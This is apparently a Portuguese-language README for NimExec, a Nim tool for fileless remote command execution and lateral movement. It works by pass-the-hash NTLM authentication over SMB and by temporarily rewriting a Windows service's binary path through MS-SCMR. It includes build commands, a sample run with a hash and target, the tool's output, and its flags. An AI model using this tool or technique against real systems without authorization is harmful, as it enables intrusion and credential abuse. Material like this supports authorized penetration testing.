frkngksl/nimexecExecução de Comandos sem Arquivo para Movimento Lateral em Nim
Basicamente, o NimExec é uma ferramenta de execução remota de comandos sem arquivos que usa o Protocolo Remoto do Gerenciador de Controle de Serviços (MS-SCMR). Ele altera o caminho binário de um serviço aleatório ou fornecido executado pelo LocalSystem para executar o comando fornecido no alvo e o restaura posteriormente por meio de pacotes RPC artesanais em vez de chamadas WinAPI. Ele envia esses pacotes via SMB2 e o pipe nomeado svcctl.
O NimExec precisa de um hash NTLM para autenticar na máquina alvo e então completa este processo de autenticação com o método de Autenticação NTLM através de pacotes artesanais.
Como todos os pacotes de rede necessários são feitos manualmente e nenhuma função específica do sistema operacional é usada, o NimExec pode ser usado em diferentes sistemas operacionais usando o suporte de compilação cruzada do Nim.
Este projeto foi inspirado na ferramenta SharpNoPSExec do Julio. Você pode pensar que o NimExec é uma versão com compilação cruzada e suporte embutido a Pass the Hash do SharpNoPSExec. Além disso, aprendi as estruturas de pacotes de rede necessárias a partir do Script Invoke-SMBExec do Kevin Robertson.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
O comando acima utiliza um Garbage Collector diferente porque o coletor de lixo padrão do Nim está gerando alguns erros SIGSEGV durante o processo de busca de serviços.
Além disso, você pode instalar os módulos Nim necessários via Nimble com o seguinte comando:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
Foi testado contra Windows 10 e 11, Windows Server 16, 19 e 22 a partir de máquinas Ubuntu 20.04 e Windows 10.
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.**
-p | --password <Password> Plaintext password.**
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
Apenas para testes de segurança autorizados. O uso indevido desta ferramenta contra sistemas sem permissão explícita é ilegal.